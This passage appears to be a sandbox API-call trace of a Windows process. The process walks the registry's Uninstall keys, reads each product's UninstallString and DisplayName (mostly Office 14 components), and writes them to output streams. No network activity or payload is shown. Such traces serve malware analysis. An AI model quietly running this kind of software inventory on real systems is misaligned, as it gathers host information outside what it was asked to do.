(lpString="{91140000-0011-0000-0000-0000000FF1CE}") returned 38 [0068.258] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.258] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x28, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x28) returned 0x0 [0068.258] LocalFree (hMem=0x626e60) returned 0x0 [0068.258] LocalFree (hMem=0x626b70) returned 0x0 [0068.258] LocalFree (hMem=0x626a88) returned 0x0 [0068.258] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x3e, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{91140000-003B-0000-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.258] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.258] lstrlenA (lpString="\\") returned 1 [0068.258] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.258] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.258] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.258] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.258] lstrlenA (lpString="{91140000-003B-0000-0000-0000000FF1CE}") returned 38 [0068.258] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.258] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.258] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{91140000-003B-0000-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-003B-0000-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-003B-0000-0000-0000000FF1CE}" [0068.258] LocalFree (hMem=0x626e60) returned 0x0 [0068.258] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-003B-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.258] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.258] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.258] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.258] RegCloseKey (hKey=0x108) returned 0x0 [0068.259] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.259] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-003B-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.259] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.259] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626e60 [0068.259] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.259] RegCloseKey (hKey=0x108) returned 0x0 [0068.259] lstrlenA (lpString="{91140000-003B-0000-0000-0000000FF1CE}") returned 38 [0068.259] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.259] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.259] LocalFree (hMem=0x626e60) returned 0x0 [0068.259] LocalFree (hMem=0x626b70) returned 0x0 [0068.259] LocalFree (hMem=0x626a88) returned 0x0 [0068.259] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x3f, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.259] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.259] lstrlenA (lpString="\\") returned 1 [0068.259] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.259] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.259] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.259] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.259] lstrlenA (lpString="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}") returned 94 [0068.259] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x626a88 [0068.259] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.259] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}" [0068.259] LocalFree (hMem=0x626e60) returned 0x0 [0068.259] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.259] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.259] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.259] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.259] RegCloseKey (hKey=0x108) returned 0x0 [0068.259] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.259] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.259] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.259] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x626ba8 [0068.259] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2c | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.259] RegCloseKey (hKey=0x108) returned 0x0 [0068.259] lstrlenA (lpString="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}") returned 94 [0068.260] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5e, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5e) returned 0x0 [0068.260] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2c) returned 0x0 [0068.260] LocalFree (hMem=0x626ba8) returned 0x0 [0068.260] LocalFree (hMem=0x62cf98) returned 0x0 [0068.260] LocalFree (hMem=0x626a88) returned 0x0 [0068.260] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x40, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{91140000-0057-0000-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.260] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.260] lstrlenA (lpString="\\") returned 1 [0068.260] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.260] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.260] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.260] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.260] lstrlenA (lpString="{91140000-0057-0000-0000-0000000FF1CE}") returned 38 [0068.260] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.260] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.260] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{91140000-0057-0000-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0057-0000-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0057-0000-0000-0000000FF1CE}" [0068.260] LocalFree (hMem=0x626e60) returned 0x0 [0068.260] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0057-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.260] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.260] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.260] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.260] RegCloseKey (hKey=0x108) returned 0x0 [0068.260] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.260] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0057-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.260] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x1c) returned 0x0 [0068.260] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x624f80 [0068.260] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x624f80, lpcbData=0x12ef0c*=0x1c | out: lpType=0x0, lpData=0x624f80*=0x4d, lpcbData=0x12ef0c*=0x1c) returned 0x0 [0068.260] RegCloseKey (hKey=0x108) returned 0x0 [0068.260] lstrlenA (lpString="{91140000-0057-0000-0000-0000000FF1CE}") returned 38 [0068.260] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.260] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x624f80*=0x4d, cb=0x1c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x1c) returned 0x0 [0068.260] LocalFree (hMem=0x624f80) returned 0x0 [0068.260] LocalFree (hMem=0x626b70) returned 0x0 [0068.260] LocalFree (hMem=0x626a88) returned 0x0 [0068.260] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x41, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.260] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.260] lstrlenA (lpString="\\") returned 1 [0068.260] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.260] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.260] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.260] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.261] lstrlenA (lpString="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}") returned 93 [0068.261] LocalAlloc (uFlags=0x40, uBytes=0x112) returned 0x626a88 [0068.261] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.261] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}" [0068.261] LocalFree (hMem=0x626e60) returned 0x0 [0068.261] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.261] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.261] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.261] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.261] RegCloseKey (hKey=0x108) returned 0x0 [0068.261] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.261] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.261] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2a) returned 0x0 [0068.261] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x626ba8 [0068.261] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2a | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2a) returned 0x0 [0068.261] RegCloseKey (hKey=0x108) returned 0x0 [0068.261] lstrlenA (lpString="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}") returned 93 [0068.261] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5d, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5d) returned 0x0 [0068.261] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2a, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2a) returned 0x0 [0068.261] LocalFree (hMem=0x626ba8) returned 0x0 [0068.261] LocalFree (hMem=0x62cf98) returned 0x0 [0068.261] LocalFree (hMem=0x626a88) returned 0x0 [0068.261] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x42, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.261] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.261] lstrlenA (lpString="\\") returned 1 [0068.261] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.261] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.261] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.261] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.261] lstrlenA (lpString="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033") returned 45 [0068.261] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x626a88 [0068.261] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.261] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" [0068.261] LocalFree (hMem=0x626e60) returned 0x0 [0068.261] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.261] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x5c) returned 0x0 [0068.262] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x626b78 [0068.262] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b78, lpcbData=0x12ef10*=0x5c | out: lpType=0x0, lpData=0x626b78*=0x43, lpcbData=0x12ef10*=0x5c) returned 0x0 [0068.262] RegCloseKey (hKey=0x108) returned 0x0 [0068.262] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b78*=0x43, cb=0x5c, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x5c) returned 0x0 [0068.262] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.262] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b78 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x1d) returned 0x0 [0068.262] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x624f80 [0068.262] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x624f80, lpcbData=0x12ef0c*=0x1d | out: lpType=0x0, lpData=0x624f80*=0x4d, lpcbData=0x12ef0c*=0x1d) returned 0x0 [0068.262] RegCloseKey (hKey=0x108) returned 0x0 [0068.262] lstrlenA (lpString="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033") returned 45 [0068.262] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x2d, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x2d) returned 0x0 [0068.262] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x624f80*=0x4d, cb=0x1d, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x1d) returned 0x0 [0068.262] LocalFree (hMem=0x624f80) returned 0x0 [0068.262] LocalFree (hMem=0x626b78) returned 0x0 [0068.262] LocalFree (hMem=0x626a88) returned 0x0 [0068.262] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x43, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.262] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.262] lstrlenA (lpString="\\") returned 1 [0068.262] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.262] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.262] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.262] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.262] lstrlenA (lpString="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 38 [0068.262] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.262] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: 